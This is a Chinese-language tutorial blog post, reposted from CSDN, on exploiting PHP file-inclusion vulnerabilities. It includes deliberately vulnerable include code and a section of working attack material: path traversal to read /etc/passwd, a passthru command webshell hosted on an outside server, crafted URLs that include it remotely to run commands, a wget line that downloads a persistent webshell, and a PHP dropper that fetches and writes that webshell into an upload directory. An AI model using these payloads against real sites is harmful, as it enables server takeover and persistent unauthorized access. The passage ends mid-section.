文件轉(zhuǎn)載自https://blog.csdn.net/chence19871/article/details/51906523
一、什么才是"遠(yuǎn)程文件包含漏洞"?
服務(wù)器通過php的特性(函數(shù))去包含任意文件時,由于要包含的這個文件來源過濾不嚴(yán),從而可以去包含一個惡意文件,而我們可以構(gòu)造這個惡意文件來達(dá)到邪惡的目的。
涉及到的危險函數(shù):include(),require()和include_once(),require_once()
Include:包含并運(yùn)行指定文件,當(dāng)包含外部文件發(fā)生錯誤時,系統(tǒng)給出警告,但整個php文件繼續(xù)執(zhí)行。
Require:跟include唯一不同的是,當(dāng)產(chǎn)生錯誤時候,include下面繼續(xù)運(yùn)行而require停止運(yùn)行了。
Include_once:這個函數(shù)跟include函數(shù)作用幾乎相同,只是他在導(dǎo)入函數(shù)之前先檢測下該文件是否被導(dǎo)入。如果已經(jīng)執(zhí)行一遍那么就不重復(fù)執(zhí)行了。
Require_once:這個函數(shù)跟require的區(qū)別 跟上面我所講的include和include_once是一樣的。所以我就不重復(fù)了。
php.ini配置文件:allow_url_fopen=off 即不可以包含遠(yuǎn)程文件。Php4存在遠(yuǎn)程&本地,php5僅存在本地包含。
二、
為什么要包含文件?
程序員寫程序的時候,不喜歡干同樣的事情,也不喜歡把同樣的代碼(比如一些公用的函數(shù))寫幾次,于是就把需要公用的代碼寫在一個單獨的文件里面,比如 share.php,而后在其它文件進(jìn)行包含調(diào)用。在php里,我們就是使用上面列舉的那幾個函數(shù)來達(dá)到這個目的的,它的工作流程:如果你想在 main.php里包含share.php,我將這樣寫include("share.php")就達(dá)到目的,然后就可以使用share.php中的函數(shù)了,像這個寫死需要包含的文件名稱的自然沒有什么問題,也不會出現(xiàn)漏洞,那么問題到底是出在哪里呢?
有的時候可能不能確定需要包含哪個文件,比如先來看下面這個文件index.php的代碼:
CODE:?
---------------------------------------------------------------------------------------------------
if ($_GET[page]) {
include $_GET[page];
} else {
include "home.php";
}
---------------------------------------------------------------------------------------------------
很正常的一段PHP代碼,它是怎么運(yùn)作的呢?
上面這段代碼的使用格式可能是這樣的:
http://hi.baidu.com/m4r10/php/index.php?page=main.php或者
http://hi.baidu.com/m4r10/php/index.php?page=downloads.php
結(jié)合上面代碼,簡單說下怎么運(yùn)作的:
1.提交上面這個URL,在index.php中就取得這個page的值($_GET[page])。
2.判斷$_GET[page]是不是空,若不空(這里是main.php)就用include來包含這個文件。
3.若$_GET[page]空的話就執(zhí)行else,來 include "home.php" 這個文件。
三、
為什么會產(chǎn)生漏洞?
你也許要說,這樣很好呀,可以按照URL來動態(tài)包含文件,多么方便呀,怎么產(chǎn)生漏洞的呢?問題的答案是:我們不乖巧,我們總喜歡和別人不一樣,我們不會按照他的鏈接來操作,我們可能想自己寫想包含(調(diào)用)的文件,比如我們會隨便的打入下面這個URL:http: //hi.baidu.com/m4r10/php/index.php?page=hello.php。然后我們的index.php程序就傻傻按照上面我們說得步驟去執(zhí)行:取page為hello.php,然后去include(hello.php),這時問題出現(xiàn)了,因為我們并沒有hello.php這個文件,所以它 include的時候就會報警告,類似下列信息:
Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in?/vhost/wwwroot/php/index.phpon line 3
Warning: include() [function.include]: Failed opening hello.php for inclusion (include_path=.:) in /vhost/wwwroot/php/index.php on line 3
注意上面的那個Warning就是找不到我們指定的hello.php文件,也就是包含不到我們指定路徑的文件;而后面的警告是因為前面沒有找到指定文件,所以包含的時候就出警告了。
四、
如何利用?
上面可以看到,問題出現(xiàn)了,那么我們怎么利用這樣的漏洞呢,利用方法其實很多,但是實質(zhì)上都是差不多的,我這里說三個比較常見的利用方法:
1.包含讀出目標(biāo)機(jī)上其它文件
由前面我們可以看到,由于對取得的參數(shù)page沒有過濾,于是我們可以任意指定目標(biāo)主機(jī)上的其它敏感文件,例如在前面的警告中,我們可以看到暴露的絕對路徑(vhost/wwwroot/php/),那么我們就可以多次探測來包含其它文件,比如指定URL為:http://hi.baidu.com/m4r10/php/index.php?page=./txt.txt可以讀出當(dāng)前路徑下的txt.txt文件,也可以使用../../進(jìn)行目錄跳轉(zhuǎn)(在沒過濾../的情況下);也可以直接指定絕對路徑,讀取敏感的系統(tǒng)文件,比如這個URL:http://hi.baidu.com/m4r10/php/index.php?page=/etc/passwd,如果目標(biāo)主機(jī)沒有對權(quán)限限制的很嚴(yán)格,或者啟動Apache的權(quán)限比較高,是可以讀出這個文件內(nèi)容的。否則就會得到一個類似于:open_basedir restriction in effect.的Warning。
2.遠(yuǎn)程文件包含可運(yùn)行的PHP木馬
如果目標(biāo)主機(jī)的"allow_url_fopen"是激活的(默認(rèn)是激活的,沒幾個人會修改),我們就可以有更大的利用空間,我們可以指定其它URL上的一個包含PHP代碼的webshell來直接運(yùn)行,比如,我先寫一段運(yùn)行命令的PHP代碼,如下保存為cmd.txt(后綴不重要,只要內(nèi)容為PHP格式就可以了)。
CODE:?
--------------------------------------------------------------------------------
if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉轉(zhuǎn)義字符(可去掉字符串中的反斜線字符)
ini_set("max_execution_time",0); //設(shè)定針對這個文件的執(zhí)行時間,0為不限制.
echo "M4R10開始行"; //打印的返回的開始行提示信息
passthru($_REQUEST["cmd"]); //運(yùn)行cmd指定的命令
echo "M4R10結(jié)束行"; //打印的返回的結(jié)束行提示信息
?>
--------------------------------------------------------------------------------
以上這個文件的作用就是接受cmd指定的命令,并調(diào)用passthru函數(shù)執(zhí)行,把內(nèi)容返回在M4R10開始行與M4R10結(jié)束行之間。把這個文件保存到我們主機(jī)的服務(wù)器上(可以是不支持PHP的主機(jī)),只要能通過HTTP訪問到就可以了,例如地址如下:http://www.xxx.cn/cmd.txt,然后我們就可以在那個漏洞主機(jī)上構(gòu)造如下URL來利用了:http://hi.baidu.com/m4r10/php/index.php?page=http: //www.xxx.cn/cmd.txt?cmd=ls,其中cmd后面的就是你需要執(zhí)行的命令,其它常用的命令(以*UNIX為例)如下:
Quote:
ll 列目錄、文件(相當(dāng)于Windows下dir)
pwd 查看當(dāng)前絕對路徑
id whoami 查看當(dāng)前用戶
wget下載指定URL的文件
等等其它的,你主機(jī)去BAIDU找吧,就不列舉了。
3.包含一個創(chuàng)建文件的PHP文件
也許有的人認(rèn)為還是得到目標(biāo)機(jī)上的一個真實的Webshell比較放心,萬一哪天人家發(fā)現(xiàn)這兒個包含漏洞修補(bǔ)了,我們就不能再遠(yuǎn)程包含得到上面的那個" 偽"Webshell了,不是么?可以理解這個心態(tài),我們繼續(xù)。得到一個真實的Webshell,我們也說兩種常見的方法:
1)使用wget之類的命令來下載一個Webshell
這個比較簡單,也很常用,在上面我們得到的那個偽webshell中,我們可以執(zhí)行命令,那么我們也可以調(diào)用系統(tǒng)中的一個很厲害的角色,wget,這個命令的強(qiáng)大你可以google下,參數(shù)一大堆,絕對搞暈?zāi)?,呵呵,我們不需要那么?fù)雜,我們就使用一個-O(--output- document=FILE,把文檔寫到FILE文件中) 就可以了,呵呵。
前提是你在按照前面的步驟放一個包含PHP代碼的Webshell在一個可以通過HTTP或者FTP等可以訪問的地方,比如:http://www.xxx.cn/m4r10.txt,這個文件里寫的就是Webshell的內(nèi)容。然后我們在前面得到的偽 Webshell中執(zhí)行如下的URL:http://hi.baidu.com/m4r10/php/index.php?page=http://www.xxx.cn/cmd.txt?cmd=wgethttp://www.xxx.cn/m4r10.txt?-O m4r10.php,如果當(dāng)前目錄可寫,就能得到一個叫做m4r10.php的Webshell了,如果當(dāng)前目錄不可寫,還需要想其它的辦法。
2)使用文件來創(chuàng)建
前面的wget可能會遇到當(dāng)前目錄不能寫的情況;或者目標(biāo)主機(jī)禁用了(或者沒裝)這個命令,我們又需要變通一下了,我們可以結(jié)合前面的包含文件漏洞來包含一個創(chuàng)建文件(寫文件)的PHP腳本,內(nèi)容如下:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------------------------
$f=file_get_contents("http://www.xxx.cn/m4r10.txt"); //打開指定路徑的文件流
$ff=fopen("./upload/m4r10.php","a"); //尋找一個可以的目錄,創(chuàng)建一個文件
fwrite ($ff,$f); //把前面打開的文件流寫到創(chuàng)建的文件里
fclose($ff); //關(guān)閉保存文件
?>
-----------------------